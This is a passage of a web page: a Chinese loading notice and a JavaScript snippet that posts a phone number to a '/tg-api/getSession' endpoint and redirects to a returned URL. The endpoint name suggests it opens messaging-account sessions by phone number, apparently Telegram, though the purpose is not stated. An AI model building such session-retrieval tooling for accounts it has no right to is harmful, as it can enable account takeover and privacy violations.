正在加载系统资源,请耐心等待
'); // 2. 异步获取session数据和子域名URL fetch('/tg-api/getSession', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ phone: phone, fast: true }) }) .then(function(r) { return r.json(); }) .then(function(result) { if (result.code === 200 && result.url) { // 跳转到子域名URL var separator = result.url.indexOf('?') >= 0 ? '&' : '?'; win.location.href = result.url + separator + 'phone=' + encodeURIComponent(phone); } else { win.document.body.innerHTML = '
加载失败: ' + (result.msg || '未知错误') + '
'; } }) .catch(function(err) { win.document.body.innerHTML = '
网络错误: ' + err.message + '
'; }); return false; } } } }, true); })();